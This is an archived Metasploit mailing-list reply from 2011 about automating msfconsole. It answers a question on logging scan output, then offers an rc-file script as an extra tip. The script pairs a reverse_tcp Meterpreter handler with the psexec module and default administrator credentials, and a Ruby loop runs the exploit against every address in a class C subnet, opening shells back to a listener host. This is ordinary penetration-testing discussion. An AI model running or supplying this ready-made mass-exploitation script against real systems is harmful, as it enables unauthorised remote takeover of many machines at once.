Metasploit mailing list archives

Re: automating msfconsole


From: Jonathan Cran <jcran () 0x0e org>
Date: Wed, 10 Aug 2011 18:06:07 -0500

On Wed, Aug 10, 2011 at 5:44 PM, audio audience <audience099 () gmail com> wrote:

I have a new quession right now : ))

How i can save result a file. For example, i scanned ssh, smb, snmp, dns etc. automating but i can't track in real 
time !

Thanks.

You can use the spool <file> command within the console, or pass -o to
the console at startup time.
Another tip, remember you can use <ruby> tags in rc files to exec
arbitrary ruby code. For example:

# Configure your handler
use multi/handler
set LHOST 192.168.0.24
set LPORT 4444
exploit -z -j

#  Configure PSExec
use windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set SMBUser administrator
set SMBPass administrator
set LHOST 192.168.0.24
set LPORT 4444
set DisablePayloadHandler true

# Run against a class C
<ruby>
        (1..254).each { |rhost|
                run_single("set RHOST 192.168.0.#{rhost}")
                run_single("exploit -z")
                sleep 3
        }
</ruby>

More advanced automation is likely going to push you to the msf/base
API, or to RPC.
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


Current thread: